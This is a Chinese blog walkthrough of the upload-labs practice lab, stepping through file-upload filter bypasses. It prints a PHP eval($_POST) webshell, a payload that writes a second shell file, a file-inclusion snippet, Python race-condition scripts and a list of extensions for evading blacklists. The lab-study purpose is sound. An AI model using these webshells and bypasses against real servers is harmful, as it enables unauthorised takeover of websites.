文件上传基础详解

前言
tips:
*如果我们在使用蚁剑发现了返回值为空说明一句话木马语法错误,如果我们发现返回值是一串乱码 则是链接地址填写错误*

目录

一、前端js验证

二、mime类型绕过

三、黑名单绕过

四、.htaccess文件配置文件漏洞,无过滤

五、PHP的.user.ini文件(. 空格 .)

六、大小写

七、trim()去空操作

八、winous特性,以.结尾无效

九、::$data

十、一次过滤没有循环

十一、这一关进行了过滤php字符串

十二、%00截断:url 的终止符

十三、post %00截断

十四、文件包含漏洞+图片马上传(只对图片的文件头进行了检测,可以只保留文件头)

十五、文件包含漏洞+图片马上传

十六、文件包含漏洞+图片马上传

十七、二次渲染

十八、逻辑漏洞+文件竞争

十九、图片马和文件包含漏洞

二十、截取数据包

二十一、数组和文件上传检测的结合


一、前端js验证

先上传php文件尝试一下,提示只能上传\jpgpng\gif的文件,并且是在前端过滤。

做一个图片马

burp抓包改包,修改为php

上传成功

二、mime类型绕过

1、JS前端绕过修改后缀也是可行的
​
2、修改mime类型

Content-Type: application/octet-stream修改为image/jpeg

上传成功

三、黑名单绕过

首先要在httpd.conf中配置 因为默认是未启用的

随便上传一个文件查看提示不允许上传asp.aspx.php.jsp

有很多类型可以绕过这几种
​
php3 php4 php5 phtml  PHphpp

 

 

 

四、.htaccess文件配置文件漏洞,无过滤

适用条件
​
php版本 5.6一下 未开启nts
​
   htaccess”文件或者称为分布式配置文件,它是 Apache  服务器中的配置文件,提供了针对每个目录设置不同的配置的方法。有些服务器在上传认证时没有拦截 .htaccess  文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传 WEBShell,从而达到控制网站服务器的目的。

将其进行上传,因为 .htaccess 是 apache 服务器中的一个配置文件,不在上传的文件的黑名单之内,所以 .htaccess 文件是可以上传成功。

再上传图片马,由于 .htaccess 文件上传之后就生效了,此时所有的 png 文件都会以 php 文件的形式被解析,即可进行连接。

五、PHP的.user.ini文件(. 空格 .)

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的INI文件,此类文件仅被 CGI/FastCGI SAPI  处理。除了主 php.ini 之外,PHP 还会在每个目录下扫描INI文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录。
 使用 user.ini 文件进行文件上传时,需要服务器脚本语言为 PHP,对应目录下面有可执行的php文件,且服务器使用 CGI/FastCGI 模式。.user.ini.它比 .htaccess 用的更广,不管是nginx/apache/IIS,只要是以 fastcgi 运行的 php 都可以用这个方法。(user.ini文件利用还没搞明白 我再研究一下)
直接上传shell文件,修改为shell.php. .

上传成功

六、大小写

此方法只适用于windous,而linux是区分大小写的,不能正常执行

.php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"

pHP \PHP \Php \pHP3 \PHP3 \Php3 种类比较多 自行发挥

 

七、trim()去空操作

上传shell.php后加空格绕过

 

八、winous特性,以.结尾无效

上传shell.php后加.

 

九、::$data

::$data的作用是将webshell.php当做字符流处理,所以对其后缀名检测不成功。

 

十、一次过滤没有循环

. .绕过

十一、这一关进行了过滤php字符串

phphpp\Phphpp等等 自行发挥

十二、%00截断:url 的终止符

本题考查%00截断,相当于复现CVE-2006-7243,所以需将php版本设置为PHP 5.3.4以下, 并关闭`magic_quotes_gpc`选项。

php.ini

可见保存的路径也可以由用户所控制,GET类型的传参。因此在保存路径中修改为:
save_path=../upload/test.php%00

十三、post %00截断

解码以后变成不可见字符

十四、文件包含漏洞+图片马上传(只对图片的文件头进行了检测,可以只保留文件头)

刚开始图片一直上传不上去,一直报识别不了图片格式,到最后才发现是图片的问题 ,前几关就没有那么严格,没检测出来
创建图片马后直接上传
<?php @eval ($_POST['nailao']);?>

直接上传图片马,拿到图片路径名字-----../upload/7020220721113955.jpg

因为本关卡还提示需要通过文件包含来读取jpg里面的小马代码拿shell,所以需要建立一个包含代码的文件,我这里就定义名称为in.php,内容如下:
<?php
$file = $_GET[ 'page' ] ;
include ($file);
?>
然后直接利用文件包含拿shell

 

十五、文件包含漏洞+图片马上传

十六、文件包含漏洞+图片马上传

和上边类同
​
前提条件:要开启一个php.ini的配置
​
黑屏的情况下重启[phpstudy](https://so.csdn.net/so/search?q=phpstudy&spm=1001.2101.3001.7020),删除upload再新建一个upload
​
删掉分号

十七、二次渲染

原理
​
**在我们上传文件后,网站会对图片进行二次处理(格式、尺寸,保存,删除 要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片(标准化)并放到网站对应的标签进行显示。
上传图片马以后一句话木马不见了

对比上传后和上传前木马文件

发现一句话木马被过滤,对比不检测修改的的地方加入进去

再次上传,发现并没有被过滤

没看到一句话木马应该是被转化格式了

另外两种方式转载分享
​https://blog.csdn.net/weixin_45588247/article/details/119177948?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165871609416781818770412%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=165871609416781818770412&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-119177948-null-null.142^v33^new_blog_pos_by_title,185^v2^control&utm_term=%E4%BA%8C%E6%AC%A1%E6%B8%B2%E6%9F%93%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4187

十八、逻辑漏洞+文件竞争

上传木马文件

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["nailao"]);?>');?>

设置多线程并发,

先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除
 这就在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制
​
因此我们可以打个时间差:上传木马,只需要在它删除之前访问即可

 

#用来请求fopen.php
import requests
url = "http://172.16.1.148/upload-labs-master/upload/fopen.php"
url_2 = "http://172.16.1.148/upload-labs-master/upload/shell.php"
while True:
    html = requests.get(url)
    html_2 = requests.get(url_2)
    if html_2.status_code == 200:  #判断shell.php是否写入成功
        print("OK")
        break
生成shell.php成功

连接成功 

十九、图片马和文件包含漏洞

#跟18是一样的,附上脚本
import requests
 
url = "http://www.bj.com/upload-labs/upload/include.php?page=./../shell.png"
 
while True:
 
    html = requests.get(url)
 
    if ( 'Warning'  not in  str(html.text)):
 
        print('ok')
 
        break

二十、截取数据包

有一个更改上传后名称的功能点

正常的绕过也都是可以的

 

二十一、数组和文件上传检测的结合

代码审计看别人写的吧 我不会
​
参考链接
​
https://baynk.blog.csdn.net/article/details/102917199?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1-102917199-blog-110919368.pc_relevant_multi_platform_whitelistv3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1-102917199-blog-110919368.pc_relevant_multi_platform_whitelistv3&utm_relevant_index=2

抓包修改上传

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ch33syNai1a0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值